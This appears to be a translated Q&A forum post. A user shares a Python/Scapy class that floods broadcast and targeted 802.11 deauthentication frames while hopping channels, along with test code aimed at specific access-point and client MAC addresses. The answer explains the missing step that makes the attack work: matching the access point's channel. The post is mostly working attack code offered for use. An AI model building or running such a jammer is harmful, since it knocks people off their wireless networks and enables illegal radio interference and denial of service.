带 Scapy 的 Wifi 干扰器不工作

Wifi Jammer with Scapy not working

所以我一直在尝试使用 Scapy 让这个 Wifi 干扰器工作。

我已经按照这个非常简单的教程进行操作,应该足够了: https://www.youtube.com/watch?v=NKqG_i6qMJM

虽然我得到了相同的输出,但这没有用。

然后我找到了这个项目: https://github.com/DanMcInerney/wifijammer/blob/master/wifijammer.py

它自己进行一些自动扫描和频道跳转以填充一些变量。如果我 运行 它,效果很好。

所以我想出了自己的代码,我认为它可以正常工作,但不知何故好像什么也没发生,尽管所有输出似乎都很好。

这是我的 AirJammer class(无法在此处正确缩进代码,但在我的实际项目中是正确的):

class AirDeauthenticator(object):

def __init__(self):
    self.deauth_running = False
    self.running_interface = None
    self.deauth_thread = None
    self.channel_hopper_thread = None
    self.channel_lock = Lock()
    self.current_channel = 3

    self.targeted_only = False      # Flag if we only want to perform targeted deauthentication attacks
    self._burst_count = 500           # Number of sequential deuathentication packet bursts to send
    self._bssids_to_deauth = []     # MAC addresses of APs, used to send deauthentication packets to broadcast
    self._clients_to_deauth = {}    # Pairs clients to their connected AP to send targeted deauthentication attacks

def add_bssid(self, bssid):
    self._bssids_to_deauth.append(bssid)

def add_client(self, client, bssid):
    self._clients_to_deauth[client] = bssid

def set_burst_count(self, count):
    self._burst_count = count

def hop_channels(self, interface, hop_interval):
    while self.deauth_running:
        print self.current_channel
        Popen(['iw', 'dev', interface, 'set', 'channel', str(self.current_channel)], stdout=DEVNULL, stderr=PIPE)
        with self.channel_lock:
            self.current_channel += 1
            if self.current_channel > 11:
                self.current_channel = 1

        sleep(hop_interval)

def deauthentication_attack(self, interface):
    # Based on:
    # https://raidersec.blogspot.pt/2013/01/wireless-deauth-attack-using-aireplay.html
    packets = []

    if not self.targeted_only:
        for bssid in self._bssids_to_deauth:
            deauth_packet = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=bssid, addr3=bssid) / Dot11Deauth()
            packets.append(deauth_packet)

    for client in self._clients_to_deauth.keys():
        bssid = self._clients_to_deauth[client]
        deauth_packet1 = Dot11(addr1=bssid, addr2=client, addr3=client) / Dot11Deauth()
        deauth_packet2 = Dot11(addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth()
        packets.append(deauth_packet1)
        packets.append(deauth_packet2)

    count = self._burst_count if self._burst_count > 0 else 5

    print "N Packets: {}\n".format(len(packets))
    while count >= 0:
        for packet in packets:
            packet.show()
            send(packet, iface = interface, count = 1, inter = 0)

        count -= 1

    self.deauth_running = False
    self.running_interface = None

def start_deauthentication_attack(self, interface, hop_interval=5):
    self.running_interface = interface
    self.deauth_thread = Thread(target=self.deauthentication_attack, args=(interface,))
    self.channel_hopper_thread = Thread(target=self.hop_channels, args=(interface, hop_interval, ))

    self.deauth_running = True

    self.deauth_thread.start()
    self.channel_hopper_thread.start()

这是我的测试代码:

    deauthor = AirDeauthenticator()
    deauthor.add_bssid('00:04:CA:AC:E9:22')
    deauthor.add_client('e4:71:85:30:f5:14', '00:04:CA:AC:E9:22')
    deauthor.add_client('d8:5d:4c:9a:72:60', '00:04:CA:AC:E9:22')
    deauthor.start_deauthentication_attack('wlan1')

尽管我从 scapy 收到警告,但输出似乎还不错: .WARNING: Mac 未找到到达目的地的地址。使用广播。 .WARNING: more Mac address to reach destination not found。使用广播。

但我在 wifijammer.py 工具上看到了相同的输出,并且该工具仍然有效。

尝试发送这些数据包时,我还需要注意什么吗?

我试过将界面设置为监控模式,但还是不行。

好的,就我能够调试它而言,问题确实出在该警告消息中。如果我拔下 USB-wifi 棒并将其重新插入,第一次不会出现此错误,如果我重复该过程,它仍然会出现。

我使用wifijammer.py工具时没有发生,但是我反复分析了代码,没有找到任何可以避免这种scapy问题的设置机制。

这里的问题是我 运行 打开的 wifi 频道。

为此,必须将 wifi 频道设置为与 AP 相同(客户端也将使用相同的频道)。

如果没有这个,数据包将在目标设备未侦听的另一个频率上发送。